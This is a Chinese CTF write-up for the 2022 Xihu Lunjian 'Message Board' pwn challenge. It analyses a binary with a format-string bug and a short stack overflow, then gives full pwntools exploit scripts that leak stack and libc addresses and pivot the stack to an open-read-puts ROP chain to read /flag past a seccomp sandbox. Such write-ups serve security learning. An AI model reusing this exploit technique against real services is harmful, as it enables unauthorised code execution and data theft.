2022西湖论剑初赛pwn-Message Board

文章发布时间:

最后更新时间:

文章总字数:
1.7k

预计阅读时间:
8 分钟

第一次在大型比赛中拿分 蛮开心的 记录一下

checksec看一下保护机制

1
2
3
4
5
6
7
8
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/xihu2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: '/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/'

顺便用xclibc改一下libc文件 方便我们本地动态调试(这题调试十分重要)

ida分析一下伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
char buf[8]; // [rsp+0h] [rbp-C0h] BYREF
char dest[8]; // [rsp+8h] [rbp-B8h] BYREF
char v7[176]; // [rsp+10h] [rbp-B0h] BYREF

sub_401236(a1, a2, a3);
if ( !dword_4040AC )
{
strcpy(dest, "Hello, ");
puts("Welcome to DASCTF message board, please leave your name:");
read(0, buf, 8uLL);
dword_4040AC = 1;
}
v3 = strcat(dest, buf);
printf(v3);
puts("Now, please say something to DASCTF:");
read(0, v7, 0xC0uLL);
puts("Posted Successfully~");
return 0LL;
}

sub_401236函数清空了缓存区 顺便开了沙箱

onegadget和system(“/bin/sh”)用不了了

接着往下分析

对dword_4040AC进行了if判断 如果为0就进入分支 分支最后将其值设置为1 应该是为了防止修改返回地址为main函数 从而反复利用格式化字符串漏洞

拥有一次向buf写入0x8字节的机会

随后将buf的内容通过strcat函数和dest字符串拼接 赋值给了v3 随后printf(v3)存在格式化字符串漏洞

接着拥有一次栈溢出的机会 但是溢出字节数只有0x10 只够我们覆盖ret addr

由于开启了沙盒 所以这里只能用栈迁移了 往栈上写入rop链 那么需要泄露栈地址和libc基址

那就通过格式化字符串漏洞泄露栈地址

gdb动调看一下偏移

位于rsp+0x70处存放着栈上的地址 那么偏移为6+0x70/8 = 20

泄露出来了也还没有结束 我们需要计算一下我们接下来栈溢出的变量v7在栈上的地址

当前程序中我输入的v7值为aaaaaaaa 而我们泄露出来的栈地址为0x7fffffffdef0

二者地址差值为0xd0 所以v7_addr = stack_addr - 0xd0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
io = process("./xihu2")
#io = remote("tcp.cloud.dasctf.com",22472)
elf = ELF("./xihu2")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"

io.recvuntil("Welcome to DASCTF message board, please leave your name:")
payload = b'%20$p'
io.send(payload)
io.recvuntil("Hello, ")
stack_addr = int(io.recv(14),16)
success(hex(stack_addr))
v7_addr = stack_addr -0xd0

接下来就是构造rop链 由于开启了沙盒禁用了execve 所以我们这里用orw的方法泄露flag

但是还需要用到pop rsi pop rdx指令 显然动态链接的情况下 二进制文件中是没有这两条指令的

所以我们还需要泄露libc基址 去libc文件中找到这两条指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
io.recvuntil("Now, please say something to DASCTF:")
rdi_addr = 0x401413
puts_got = elf.got['puts']
back_addr = 0x4012e3
puts_plt = 0x4010e0
leave_addr = 0x4012e1
bss_addr = 0x4040B0+0x50
payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt)
payload = payload.ljust(0xb0,b'\x00')
payload += p64(v7_addr-0x8)+p64(leave_addr)
io.send(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(puts_addr))
libc_addr = puts_addr - (0x7f5551189951-0x7f55510f9000)
success(hex(libc_addr))

但是这里泄露libc基址的时候 并非泄露出来的是我预想中的puts_addr

而是_IO_do_write+177的地址 不过照样能得到libc基址就行了

接下来就是简单的构造orw链 但是由于main函数一系列的入栈出栈操作 rsp指针的指向并不会跟我们泄露libc基址时一样

所以我们还需要进行一次动态调试 找到我们第二次写入rop链时的栈地址

调试exp: 虽然该exp的orw链偏移是调试后的正确结果 但是未调试时的orw链同样也可以 只是为了找到第二次写入v7的rsp指针地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*
io = process("./xihu2")
#io = remote("tcp.cloud.dasctf.com",22472)
elf = ELF("./xihu2")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"

io.recvuntil("Welcome to DASCTF message board, please leave your name:")
payload = b'%20$p'
io.send(payload)
io.recvuntil("Hello, ")
stack_addr = int(io.recv(14),16)
success(hex(stack_addr))
v7_addr = stack_addr -0xd0
io.recvuntil("Now, please say something to DASCTF:")
rdi_addr = 0x401413
puts_got = elf.got['puts']
back_addr = 0x4012e3
puts_plt = 0x4010e0
leave_addr = 0x4012e1
bss_addr = 0x4040B0+0x50
payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt)
payload = payload.ljust(0xb0,b'\x00')
payload += p64(v7_addr-0x8)+p64(leave_addr)
io.send(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(puts_addr))
libc_addr = puts_addr - (0x7f5551189951-0x7f55510f9000)
success(hex(libc_addr))
io.recvuntil("Now, please say something to DASCTF:")
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))
rsi_addr = libc_addr + 0x2601f
rdx_addr = libc_addr + 0x142c92
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
payload = b'/flag'.ljust(8,b'\x00')+p64(rdi_addr)+p64(stack_addr-0x170)+p64(rsi_addr)+p64(0)+p64(open_addr)
payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)+p64(read_addr)
payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt)
payload = payload.ljust(0xb0,b'\x00')
payload += p64(stack_addr-0x170)+p64(leave_addr)
gdb.attach(io,'b *0x4013A3')
io.send(payload)

利用set $rsp = $rsp - 0x30 来不断的抬高栈帧 我们可以找到我们写入的rop链

于是偏移就是当前程序运行泄露的stack_addr - 0x7ffc8bf40650 = 0x170

1
2
3
4
5
payload = b'/flag'.ljust(8,b'\x00')+p64(rdi_addr)+p64(stack_addr-0x170)+p64(rsi_addr)+p64(0)+p64(open_addr)
payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)+p64(read_addr)
payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt)
payload = payload.ljust(0xb0,b'\x00')
payload += p64(stack_addr-0x170)+p64(leave_addr)

还有一点就是注意最后栈迁移的地址是rop链的起始地址减去一个字长

而stack_addr - 0x170是/flag字符串的地址 所以实际上rop链的起始地址是stack_addr - 0x168

所以覆盖old_rbp的地址应为stack_addr - 0x170

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
io = process("./xihu2")
#io = remote("tcp.cloud.dasctf.com",22472)
elf = ELF("./xihu2")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"

io.recvuntil("Welcome to DASCTF message board, please leave your name:")
payload = b'%20$p'
io.send(payload)
io.recvuntil("Hello, ")
stack_addr = int(io.recv(14),16)
success(hex(stack_addr))
v7_addr = stack_addr -0xd0
io.recvuntil("Now, please say something to DASCTF:")
rdi_addr = 0x401413
puts_got = elf.got['puts']
back_addr = 0x4012e3
puts_plt = 0x4010e0
leave_addr = 0x4012e1
bss_addr = 0x4040B0+0x50
payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt)
payload = payload.ljust(0xb0,b'\x00')
payload += p64(v7_addr-0x8)+p64(leave_addr)
io.send(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(puts_addr))
libc_addr = puts_addr - (0x7f5551189951-0x7f55510f9000)
success(hex(libc_addr))
io.recvuntil("Now, please say something to DASCTF:")
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))
rsi_addr = libc_addr + 0x2601f
rdx_addr = libc_addr + 0x142c92
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
payload = b'/flag'.ljust(8,b'\x00')+p64(rdi_addr)+p64(stack_addr-0x170)+p64(rsi_addr)+p64(0)+p64(open_addr)
payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)+p64(read_addr)
payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt)
payload = payload.ljust(0xb0,b'\x00')
payload += p64(stack_addr-0x170)+p64(leave_addr)
io.send(payload)
io.recv()
io.recv()